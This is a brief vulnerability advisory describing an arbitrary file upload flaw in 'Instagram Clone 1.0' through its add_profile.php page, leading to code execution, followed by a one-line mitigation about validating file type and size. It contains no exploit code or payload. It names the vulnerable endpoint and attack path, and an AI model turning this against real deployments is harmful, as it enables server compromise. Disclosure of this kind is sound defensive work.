Instagram Clone 1.0 – Arbitrary File Upload

Instagram Clone 1.0 is vulnerable to an arbitrary file upload vulnerability. An attacker can upload a malicious file to the web server by sending a specially crafted HTTP request to the add_profile.php page. This can be exploited to execute arbitrary code on the web server.

Mitigation:

The application should validate the file type and size before uploading it to the server.
